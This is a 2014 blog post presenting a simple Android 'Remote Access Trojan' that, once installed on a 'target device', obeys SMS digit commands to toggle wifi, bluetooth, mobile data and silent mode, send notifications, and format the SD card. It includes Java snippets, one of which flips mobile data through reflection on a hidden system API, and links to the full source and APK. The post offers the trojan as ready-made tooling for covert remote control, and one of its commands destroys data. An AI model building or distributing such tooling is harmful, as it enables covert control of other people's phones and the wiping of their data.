Monday 10 November 2014

HB Blog 37: Remote Control Android Phone Via Sms Commands.

Remote administration refers to any method of controlling a device from a remote location.Specifically, for android phones remote controlling can be done using many applications with different RAT(Remote Access Trojan) patterns.
In this blog, I will show a very similar kind of RAT to control device using simple sms commands.

Process goes as follows:-
1)Install android apk file on target device.
2)Send following commands and appropriate actions are resulted.

1 - Wifi is turned ON.
2 - Wifi is turned OFF.
3 - Bluetooth is turned ON.
4 - Bluetooth is turned OFF.
5 - Mobile data is turned ON.
6 - Mobile data is turned OFF.
7 - Silent Mode is turned ON.
8 - Silent Mode is turned OFF.
9 - Notification is sent.
0 - Sd card is formatted.

Have a look on few code snippets,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//Toggle wifi
    public void toggleWifi(Context context,boolean status){
            WifiManager wifiManager = (WifiManager)context.getSystemService(Context.WIFI_SERVICE);
            wifiManager.setWifiEnabled(status);
    }

    //Toggle bluetooth
    public void toggleBluetooth(Context context,boolean status){
         BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
        if(bluetoothAdapter != null){
            if(!bluetoothAdapter.isEnabled() && status==true){
                bluetoothAdapter.enable();
            }
            else{
                bluetoothAdapter.disable();
            }
        }
        else {}
    }
   
    //Toggle Mobile data
    public void toggleMobileData(Context context,boolean status){
            final ConnectivityManager conman = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
            final Class conmanClass = Class.forName(conman.getClass().getName());
            final Field iConnectivityManagerField = conmanClass.getDeclaredField("mService");
            iConnectivityManagerField.setAccessible(true);
            final Object iConnectivityManager = iConnectivityManagerField.get(conman);
            final Class iConnectivityManagerClass = Class.forName(iConnectivityManager.getClass().getName());
            final Method setMobileDataEnabledMethod = iConnectivityManagerClass.getDeclaredMethod("setMobileDataEnabled", Boolean.TYPE);
            setMobileDataEnabledMethod.setAccessible(true);
            setMobileDataEnabledMethod.invoke(iConnectivityManager, status);
        }

    // Toggle Silent Mode
    public void toggleSilentMode(Context context,boolean status){
        AudioManager audioManager = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
        if(status){
            audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
        } else {
            audioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
        }
    }

Refer the below link for complete sample code:-
Download Sample Code
Download Apk File

No comments:

Post a Comment